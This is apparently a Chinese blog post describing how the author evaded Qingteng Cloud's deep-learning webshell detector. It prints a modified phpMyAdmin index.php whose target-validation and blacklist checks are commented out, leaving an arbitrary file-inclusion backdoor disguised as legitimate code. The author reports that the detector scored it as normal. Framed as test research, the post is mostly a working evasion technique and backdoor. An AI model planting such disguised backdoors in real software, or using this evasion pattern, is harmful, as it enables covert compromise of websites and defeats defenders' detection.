上周看到一些朋友在发青藤云的聊天记录,绕过一个发200块红包。周末的时候就简单做了个测试。
首先使用绕过D盾的webshell,发现被标记为恶意。这就有点意思了。我去看了一下聊天记录的内容,看原理是采用的深度学习的方式。猜测是有监督的方式来实现的(仅为猜测)。我这里绕过的思路采用的是,使用开源程序进行修改,带入一句话后门代码。

记得Phpmyadmin的index.php文件中包含有include ROOT_PATH . $_REQUEST['target'];这样的代码,如果不看上下文,这个妥妥的文件包含漏洞。不过上文有过滤和判断处理,导致无法包含任意文件。我将其修改为包含任意文件。同时保留来一些源码,把影响执行的代码注释掉(因为适应多种环境,适用但文件的情况)。
最终修改的代码如下:

<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Main loader script
 *
 * @package PhpMyAdmin
 */
declare(strict_types=1);
/*
use PhpMyAdmin\Controllers\HomeController;
use PhpMyAdmin\Core;
use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\Response;
use PhpMyAdmin\Url;
use PhpMyAdmin\Util;
*/
if (! defined('ROOT_PATH')) {
    define('ROOT_PATH', '');   //这里做了修改,不影响后门包含文件
}

global $server;

//require_once ROOT_PATH . 'libraries/common.inc.php';

/**
 * pass variables to child pages
 */
$drops = [
    'lang',
    'server',
    'collation_connection',
    'db',
    'table',
];
foreach ($drops as $each_drop) {
    if (array_key_exists($each_drop, $_GET)) {
        unset($_GET[$each_drop]);
    }
}
unset($drops, $each_drop);

/**
 * Black list of all scripts to which front-end must submit data.
 * Such scripts must not be loaded on home page.
 */
$target_blacklist =  [
    'import.php',
    'export.php',
];

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && 0 == strpos($_REQUEST['target'], "index")
    //&& ! in_array($_REQUEST['target'], $target_blacklist)   //检查黑名单,注释掉
    //&& Core::checkPageValidity($_REQUEST['target'], [], true)   //验证page的有效性,也去掉
) {
    include ROOT_PATH . $_REQUEST['target'];
    exit;
}

测试是否正常使用,确认可用后,上传测试。结果显示为正常。至此绕过完成。下图是结果(2019年12月29日测试结果)。具体如何使用,可以看上一篇绕过D盾的内容。

总结
青藤云这个做的确实不错。绕过的思路还有其他的,我的思路是选择避开eval,assert使用率高的特征,同时在加入一些正常文件代码的方式来绕过。对于还有其它思路,这里仅作为测试研究。另外除了检测以外,还需要考虑误报情况,我测试传的一个正常文件也报恶意了,所以这个也是需要进行权衡的。